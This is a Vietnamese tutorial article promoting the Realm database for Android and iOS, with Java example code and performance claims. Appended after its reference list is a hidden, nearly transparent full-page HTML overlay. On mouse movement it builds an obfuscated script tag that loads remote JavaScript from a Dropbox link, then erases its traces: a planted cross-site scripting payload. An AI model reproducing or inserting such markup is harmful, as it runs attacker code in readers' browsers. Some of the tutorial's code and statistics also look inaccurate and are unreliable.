Realm - A replacement for SQLite & Core Data

Realm.png

Trước đây chúng ta đều đã biết SQLite là một cơ sở dữ liệu tốt để lưu trữ dữ liệu trong bộ nhớ trong. Nhưng thời gian đã thay đổi, và bây giờ, Realm là một phương pháp tuyệt vời để thay thế cho SQLite.

Trước đây, để làm việc với SQLite, chúng ta phải thực hiện rất nhiều thao tác: xây dựng khung chương trình, mô hình, helper, truy vấn,... Điều này đòi hỏi rất nhiều thời gian trong quá trình phát triển phần mềm. Những người mới tìm hiểu SQLite sẽ bỏ ra khá nhiều thời gian trong việc khởi tạo, nhập xuất, tạo các truy vấn và đặc biệt là code sẽ dài và rất khó quản lý.

Để khắc phục điều đó, giải pháp cần phải áp dụng đó là:

  • Viết thư viện dùng chung, hỗ trợ các thao tác lặp đi lặp lại này để giảm thời gian phát triển, giúp cho việc tương tác với SQLite tốt hơn, code dễ bảo trì hơn.
  • Sử dụng thư viện ORM (Object Relational Mapping): ORM giúp cho việc ánh xạ các bảng trong SQLite vào các model, mọi thao tác với SQLite bây giờ được thực hiện qua các đối tượng này. Tuy nhiên, việc sử dụng ORM phát sinh vấn đề về hiệu năng và độ ổn định.

Từ đó, Realm đã ra đời, nhằm khắc phục những nhược điểm đó của SQLite ^^.

Những lợi ích của Realm khi ra đời

  • Đơn giản, dễ dàng sử dụng: Thiết kế của Realm giúp bạn có thể dễ dàng sử dụng: dữ liệu trực tiếp được thao tác là đối tượng và truy vấn bằng code. Realm chỉ làm việc với 3 lớp chung (Object, Array và Realms) và một lớp tiện ích (Migrations).

Hơn nữa, Realm cung cấp một số chức năng mạnh mẽ khác, bao gồm object relationships, nó có nghĩa là bạn có thể ánh xạ một nhiều hoặc nhiều nhiều (1-n hoặc n-n). Realm cung cấp khả năng có thể di chuyển dữ liệu sang một thiết bị khác, như vậy bạn có thể dễ dàng cập nhật dữ liệu của bạn. Còn nữa, Realm là safe across threads, giúp bạn có thể dễ dàng đồng bộ hóa các tác vụ trong ứng dụng của bạn.

Hãy xem thử một số ví dụ về việc sử dụng Realm trong JAVA sau đây để thấy được điều đó nha:

// Định nghĩa một model class thừa kế RealmObject
public class Dog extends RealmObject {
    private String name;
    private int age;

    // ... Generated getters and setters ...
}

public class Person extends RealmObject {
    @PrimaryKey
    private long id;
    private String name;
    private RealmList<Dog> dogs; // Khai báo quan hệ một - nhiều

    public Person(long id, String name) {
        this.id = id;
        this.name = name;
    }

    // ... Generated getters and setters ...
}

// Sử dụng chúng như các object Java thông thường
Dog dog = new Dog();
dog.setName("Rex");
dog.setAge(1);

// Tạo một RealmConfiguration để lưu trữ file của Realm trong thư mục "files" của ứng dụng
RealmConfiguration realmConfig = new RealmConfiguration.Builder(context).build();
Realm.setDefaultConfiguration(realmConfig);

// Tạo một instance của Realm
Realm realm = Realm.getDefaultInstance();

// Truy vấn tất cả các chú chó nhỏ hơn 2 tuổi
final RealmResults<Dog> puppies = realm.where(Dog.class).lessThan("age", 2).findAll();
puppies.size(); // => 0

// Persist dữ liệu của bạn trong một transaction
realm.beginTransaction();
final Dog managedDog = realm.copyToRealm(dog); // Persist các object không được quản lý
Person person = realm.createObject(Person.class); // Tạo trực tiếp các object được quản lý
person.getDogs().add(managedDog);
realm.commitTransaction();

// Listeners sẽ được thông báo khi dữ liệu thay đổi
puppies.addChangeListener(new RealmChangeListener<RealmResults<Dog>>() {
    @Override
    public void onChange(RealmResults<Dog> results) {
        // Kết quả truy vấn được cập nhật thời gian thực
        puppies.size(); // => 1
    }
});

// Cập nhật các object không đồng bộ trên một background thread
realm.executeTransactionAsync(new Realm.Transaction() {
    @Override
    public void execute(Realm bgRealm) {
        Dog dog = bgRealm.where(Dog.class).equals("age", 1).findFirst();
        dog.setAge(3);
    }
}, new Realm.Transaction.OnSuccess() {
    @Override
    public void onSuccess() {
      // Các truy vấn ban đầu và những object Realm sẽ được tự động cập nhật
      puppies.size(); // => 0
      managedDog.getAge();   // => 3
    }
});
  • Nhanh: Nhờ có thiết kế "zero-copy" (không tạo bản sao khi truy vấn), Realm nhanh hơn nhiều so với một ORM, và SQLite thuần. Hãy xem bảng so sánh hiệu năng sau đây để thấy rõ điều đó:

Truy vấn Counts 150.000 records Realm1.png

Insert 150.000 records realm2.png

Như các bạn có thể thấy, các chỉ số đo đạc trên cùng một thiết bị phần cứng, cùng một OS, Realm luôn bỏ xa các phần còn lại 😃

  • Realm hỗ trợ đa nền tảng, hiện tại là Android, iOS và OS X (Objective-C & Swift). Các file CSDL có thể được chia sẻ dễ dàng giữa các nền tảng trên, sử dụng cùng một mô hình dữ liệu và ghi các business logic tương tự.

  • Đáng tin cậy: Realm hiện đang được tin cậy trong việc hoạt động của các ngân hàng, các nhà cung cấp chăm sóc sức khỏe, các ứng dụng doanh nghiệp phức tạp và các ứng dụng số 1 trên cả Apple App Store và Google Play Store.

  • Hướng cộng đồng: Realm là một mã nguồn mở trên GitHub. Các tính năng của nó được ưu tiên dựa trên yêu cầu của người dùng và họ hoan nghênh các đóng góp trên đó. Hiện tại, Realm đang có hơn 12,000 contributors trên Github, cộng đồng họ đã xây dựng được hàng trăm ứng dụng, plugin và các components mới.

  • Hỗ trợ in-memory database: Trong một số trường hợp, chúng ta chỉ cần tạo một CSDL tạm, cần tương tác (đọc/ghi) nhanh hơn nữa, chúng ta sẽ cần đến việc giữ CSDL trong bộ nhớ RAM (in-memory database). Realm hoàn toàn hỗ trợ giải pháp này.

  • Hỗ trợ custom migrating: Việc cập nhật CSDL, thêm/bớt các bảng, trường đều được hỗ trợ một cách thuận tiện, đơn giản nhất bằng cách kế thừa lớp RealmMigration.

  • Tài liệu đầy đủ, chi tiết: Bạn có thể bắt tay tích hợp Realm vào dự án của bạn ngay chỉ sau nửa giờ đọc tài liệu hướng dẫn. Documentation cũng rất chi tiết, cụ thể và chuyên nghiệp.Ngoài ra, Pealm cũng viết sẵn luôn các ví dụ mẫu trên GitHub.

Từ những lợi ích tuyệt vời như vậy, bạn còn chần chờ gì mà không thử nó trong ứng dụng di động của bạn. Chúc bạn thành công ^^

Nguồn tham khảo

  1. https://realm.io/
<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; width: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id=\'atk-src\' src=\'https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1\'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">

All Rights Reserved